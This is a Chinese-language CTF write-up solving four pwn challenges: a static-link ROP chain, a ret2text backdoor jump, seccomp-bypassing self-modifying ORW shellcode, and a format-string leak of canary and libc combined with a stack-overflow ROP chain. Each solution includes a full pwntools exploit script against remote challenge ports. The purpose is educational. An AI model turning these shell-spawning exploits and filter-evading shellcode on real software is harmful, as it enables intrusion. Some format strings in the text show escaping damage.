奶龙杯 CTF Pwn 方向四道题目 WriteUp 汇总
一句话结论:四道 pwn,分别练的是「静态链接 ROP + 栈对齐」、「ret2text 后门函数」、「RWX 自修改代码绕 seccomp 的 ORW」,以及「格式化字符串泄露 Canary 与 Libc + 栈溢出 ROP」。本文逐题拆解保护、漏洞点、利用思路与完整脚本。
排版说明:为规避排版转义问题,所有脚本里的字符串统一用单引号书写,字节字面量(如 syscall 机器码 0x0f 0x05、换行)用可读形式描述,正文引用一律使用「」。
第一题:复仇奶龙已归来(Static Link / ROP)
题目概述
- 题目类型:Binary Exploitation(PWN / Static Link / ROP)
- 解题关键:识别 rsync 干扰项 + 静态链接下的 ROP 链构造 + 64 位栈平坦化对齐(pop rdi ; pop rbp ; ret)。
保护与程序分析
- Arch:amd64-64-little(x86-64)
- Link Style:Statically linked(静态链接,所有 glibc 代码已直接嵌入二进制)
- PIE:No PIE(0x400000 固定基址)
- NX:enabled(栈不可执行)
IDA 反编译核心:
__int64 vulnerable()
{
_BYTE v1[256]; // [rsp+0h] [rbp-100h]
puts('Welcome to the archive terminal.');
puts('Enter your access phrase:');
read(0LL, v1, 512LL); // 漏洞点:256 字节缓冲区却读 512 字节
return puts('Access denied.');
}
v1 分配 256 字节(0x100),但 read 允许读 512(0x200),极其明显的栈溢出。覆盖至返回地址所需 Padding = 256(v1)+ 8(Saved RBP)= 264 字节(0x108)。
陷阱:rsync 干扰项(Red Herring)
题目看着设计了双阶段:
- 溢出跳转到 win(),运行 /challenge/start.sh 并启动 rsync 服务;
- 通过第二个端口连 rsync,利用 rsync 提取 Flag。
但 rsync 拿不到 Flag。看 start.sh 与 rsync.conf:
# start.sh
echo -n "INSERT_FLAG" > /flag
chown root:root /flag
chmod 400 /flag # 仅 root 可读
# rsync.conf
[public]
uid = 1000
gid = 1000
原因:rsync 守护进程强制以普通用户(uid 1000)运行,而 /flag 被设为 400(仅 root 可读)。哪怕利用 use chroot = no 进行路径穿越,Linux 内核也会因权限不足拒绝 uid 1000 读取文件。突破点:第一阶段 PWN 进程是以最高权限上下文运行的,因此直接放弃 rsync,在第一阶段构造 ROP 链拿 Shell 才是真正解法。
利用逻辑
静态链接,程序内已嵌入完整 glibc 符号和字符串:
- 字符串:strings 查到内置的 /bin/sh 地址 0x488599;
- 函数:直接取 system 符号地址 0x405210;
- Gadget:ROPgadget 检索到
0x402348 : pop rdi ; pop rbp ; ret。
64 位栈对齐推导:溢出 264 字节覆盖返回地址后,RSP 处于 0 mod 16 状态;执行 pop rdi ; pop rbp ; ret 时会连续从栈弹出 2 个 8 字节(共 16 字节),执行完毕跳转到 system 瞬间,RSP 刚好天然维持 16 字节对齐,因此无需插入额外的 ret gadget。
完整脚本
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
p = remote('challenge.cyclens.tech', 30445)
pop_rdi_rbp = 0x402348
system_addr = 0x405210
bin_sh = 0x488599
p.recvuntil(b'Enter your access phrase:')
payload = b'a' * 264
payload += p64(pop_rdi_rbp)
payload += p64(bin_sh) # rdi = /bin/sh
payload += p64(0) # rbp
payload += p64(system_addr)
p.sendline(payload)
p.interactive()
运行后成功拿到交互式 Shell。
总结
- 防范迷局:遇到复杂多阶段设计(如 rsync/ftp)先检查权限链(uid vs file permissions),避免被非必要的第二阶段拖住。
- 静态链接技巧:静态 ELF 内部藏有丰富的汇编 Gadget 和字符串(如 /bin/sh),无需依赖 libc 泄露。
- 栈平坦化分析:64 位 ROP 链必须精确计算每个 pop 对 RSP 的影响,确保跳入 system 时满足 16 字节对齐。
第二题:ret2text
保护机制:开了 Canary 与 NX。IDA 反汇编看出存在栈溢出(写入 buf 的字节数超过容量),并且找到一个后门函数(admin_shell),综上这就是一道 ret2text。
最开始用「加 ret 对齐 + 跳后门」的脚本,本地能通但打远端不通。看日志这一行:
[DEBUG] Received 0x17 bytes:
b'[-] signature rejected'
这是 signin() 函数最后一行的 return puts('[-] signature rejected') 打印出来的,说明 Payload 已成功写进缓冲区,程序正常执行完 puts、准备在函数返回(ret)时跳转。挂在后面的 Got EOF while reading in interactive,说明程序在跳转到 adminshell 或执行 system 的瞬间崩了。意思就是栈对齐的方式反了,加了 ret 反而打破了栈对齐,于是直接采窗 window 对齐的方式(win_addr + 1)去接:
from pwn import *
import time
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./ret2text')
win_addr = elf.sym['admin_shell']
rop = ROP(elf)
ret_gadget = rop.find_gadget(['ret'])[0]
def conn():
if args.REMOTE:
return remote('challenge.cyclens.tech', 31706)
else:
return process('./ret2text')
def exploit(io):
io.recvuntil(b'Submit your signed access token.')
# 直接跳 win_addr+1(修正对齐),而非加一个 ret gadget
payload = b'b' * 56 + p64(win_addr + 1)
io.sendline(payload)
io.interactive()
if __name__ == '__main__':
exploit(conn())
拿到 flag。这题的坑点在于:本地和远端的对齐表现不一致,不能生搬硬套「加 ret」的模板,要根据日志判断到底在哪一步崩的。
第三题:BabySandbox(Shellcode / Seccomp)
概述
- 题目类型:Binary Exploitation(PWN / Shellcode / Seccomp)
- 解题关键:RWX 内存利用 + 自修改代码(Self-Modifying Code)绕过 syscall 静态检测 + ORW(openat → read → write)沙箱绕过。
代码与漏洞分析
反编译 main 核心:
buf_2 = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL); // 分配 RWX 内存
...
v5 = read(0, buf, 0x100uLL); // 最多读 256 字节 shellcode
if ( v5 != 1 ) {
do {
if ( *buf_1 == 15 && buf_1[1] == 5 ) { // 逐字节检查 0x0f 0x05
puts('No syscall allowed in shellcode!');
exit(1);
}
++buf_1;
} while ( buf_1 != &buf[v5 - 1] );
}
puts('Applying seccomp sandbox...');
init_sandbox();
((void (*)(void))buf)(); // 跳转执行 shellcode
关键特点:
- RWX 权限:mmap 保护标记为 7(可读可写可执行),允许 shellcode 在运行阶段修改自身代码。
- 静态字节过滤:对输入机器码逐字节扫描,禁止出现连续的 0x0f 0x05(即 x86-64 的 syscall 机器码)。
- 沙箱限制:开启 seccomp 后直接执行 shellcode。
沙箱分析
用 seccomp-tools dump 获取规则:
0004: if (A == openat) goto 0009
0005: if (A == read) goto 0009
0006: if (A == write) goto 0009
0007: if (A == exit) goto 0009
0008: return KILL
0009: return ALLOW
结论:沙箱仅允许 openat(257)、read(0)、write(1)、exit(60);传统的 execve 和 open 被禁用,需构造 ORW 链读取 /flag。
利用思路
1)绕过 0x0f 0x05 静态扫描(自修改代码)。因为写入的内存可写可执行,在汇编中先写入非 syscall 字节(如 .byte 0x0e, 0x05),并在该字节前插入一条指令:
inc byte ptr [rip] ; 将紧随其后的 0x0e 加 1,变成 0x0f
.byte 0x0e, 0x05 ; 运行到此处时已被修正为 0x0f 0x05(即 syscall)
这样既能完美通过静态检测,也能在 CPU 执行到该位置时恢复为正确的 syscall。
2)构造 ORW 读取 Flag,依次三条系统调用:openat(AT_FDCWD, /flag, O_RDONLY, 0)(rax=257、rdi=-100、rsi 指向 /flag、rdx=0)→ read(fd, rsp, 0x100)(rax=0、rdi=上一步返回的 fd、rsi=rsp 借栈作缓冲)→ write(1, rsp, 0x100)(rax=1、rdi=1 stdout)。
完整脚本
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
shellcode_asm = '''
#define SAFE_SYSCALL \-
inc byte ptr [rip]; \-
.byte 0x0e, 0x05
mov rax, 257
mov rdi, -100
lea rsi, [rip + flag_str]
xor rdx, rdx
xor r10, r10
SAFE_SYSCALL
mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
xor rax, rax
SAFE_SYSCALL
mov rdi, 1
mov rsi, rsp
mov rdx, 0x100
mov rax, 1
SAFE_SYSCALL
flag_str:
.string \'/flag\'
'''
payload = asm(shellcode_asm)
# 自检:若 payload 仍含连续的 0x0f 0x05 则报错,否则说明绕过成功
p = remote('challenge.cyclens.tech', 30800)
p.sendlineafter(b'max 0x100 bytes):', payload)
p.interactive()
拿到 flag:flag{4awqcpzt-fwul-4us-8y9a-qxzfzhoay3nxx}。
总结
- 本题考察在 RWX 权限条件下巧妙使用自修改代码的防检测技巧。
- 面对 seccomp 禁用 execve 和 open 的环境,灵活利用替代系统调用(如 openat)构造 ORW 链是解题核心。
第四题:ezpwn(格式化字符串 + 栈溢出 ROP)
概述
解题关键:格式化字符串漏洞(泄露 Canary 与 Libc)+ 栈溢出漏洞(ROP 劫持控制流)。
保护机制
- Canary:开启(栈保护已启用,readfsqword(0x28u))
- NX:开启(栈不可执行)
- PIE:未开启 / 固定代码段加载基址
- Arch:amd64(64-bit Linux)
漏洞分析
漏洞点 1:feedback() 中的格式化字符串漏洞。
unsigned __int64 feedback()
{
char buf[40];
read(0, buf, 0x1FuLL); // 最多读 31 字节
buf[31] = 0;
printf('Your comment: ');
printf(buf); // 直接将用户输入作为 fmt 参数
}
程序把用户输入的 buf 直接作为 printf 的第一个参数,而没有用 printf('%s', buf)。由于输入字节数限制在 31 字节内,无法直接构造长 Payload 任意写入,但足以用 %x$p 泄露栈上敏感信息(Canary 与 Libc 返回地址)。
漏洞点 2:query() 中的栈溢出。
unsigned __int64 query()
{
char buf[40]; // 实际分配仅 40 字节(0x28)
read(0, buf, 0x100uLL); // 却允许读最大 256 字节(0x100)
}
在已知 Canary 的前提下,可通过溢出填充 Canary,进而覆盖 Saved RBP 与返回地址,构造 ROP 链调用 system('/bin/sh')。
利用思路
1)确定格式化字符串偏移:输入 AAAA.%p.%p... 在 GDB 调试,确定输入缓冲区起始偏移为 %6\(p;buf 占 40 字节(5 个 8 字节单元),故 Canary 位于 %11\)p(6 + 5);继续定位栈深处的 Libc 返回地址位于 %17$p。
2)泄露地址与计算 Libc 基址:运行 Option 1(feedback),发送 %11\(p.%17\)p;解析得到 Canary 与 Libc Leak 地址;通过 GDB vmmap 计算相对偏移:libc_base = libc_leak - 0x2a1ca。
3)构造 ROP 链 Getshell:运行 Option 2(query),构造栈溢出 Payload:Padding(40 字节 A)+ Canary(8 字节泄露值)+ Saved RBP(8 字节 B)+ ret gadget(64 位 Ubuntu 栈对齐)+ pop rdi; ret + /bin/sh 地址 + system 地址。
完整脚本
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = remote('challenge.cyclens.tech', 30554)
# 一阶段:格式化字符串泄露 Canary 与 Libc
p.sendlineafter(b'> ', b'1')
payload_leak = b'%11$p.%17$p'
p.sendlineafter(b'Leave a comment: ', payload_leak)
p.recvuntil(b'Your comment: ')
leak_data = p.recvline().strip().split(b'.')
canary = int(leak_data[0], 16)
libc_leak = int(leak_data[1], 16)
libc.address = libc_leak - 0x2a1ca
system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh')) # 末尾带一个空字节
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = rop.find_gadget(['ret'])[0]
# 二阶段:栈溢出 ROP getshell
p.sendlineafter(b'> ', b'2')
payload_bof = b'A' * 40
payload_bof += p64(canary)
payload_bof += b'B' * 8
payload_bof += p64(ret_gadget) # 16 字节栈对齐
payload_bof += p64(pop_rdi)
payload_bof += p64(bin_sh_addr)
payload_bof += p64(system_addr)
p.sendlineafter(b'Enter query: ', payload_bof)
p.interactive()
总结
本题是一道非常经典的「格式化字符串信息泄露 + 栈溢出 ROP」组合题。关键点在于先利用短小无污染的格式化字符串泄露出动态保护机制(Canary 和 ASLR 中的 Libc 地址);在构造 64 位 ROP 链时,注意 Ubuntu 系统下 glibc system 调用时的 16 字节栈对齐要求(通过额外添加 ret 指令解决)。
四题横向小结
| 题 | 核心考点 | 关键细节 |
|---|---|---|
| 复仇奶龙 | 静态链接 ROP | 识破 rsync 干扰、pop rdi;pop rbp;ret 天然对齐 |
| ret2text | 后门函数直达 | 本地/远端对齐不一致,win_addr+1 修正 |
| BabySandbox | seccomp ORW | RWX 自修改代码绕 0x0f 0x05 静态检测 |
| ezpwn | 格式化泄露 + ROP | %11\(p 泄露 Canary、%17\)p 泄露 Libc |
四题合起来恰好覆盖了入门到进阶的几个高频点:静态链接下不依赖 libc 泄露、栈对齐的两种解法(pop rbp 天然对齐与额外 ret)、seccomp 黑名单下的自修改代码 ORW、以及格式化字符串与溢出的两段式组合。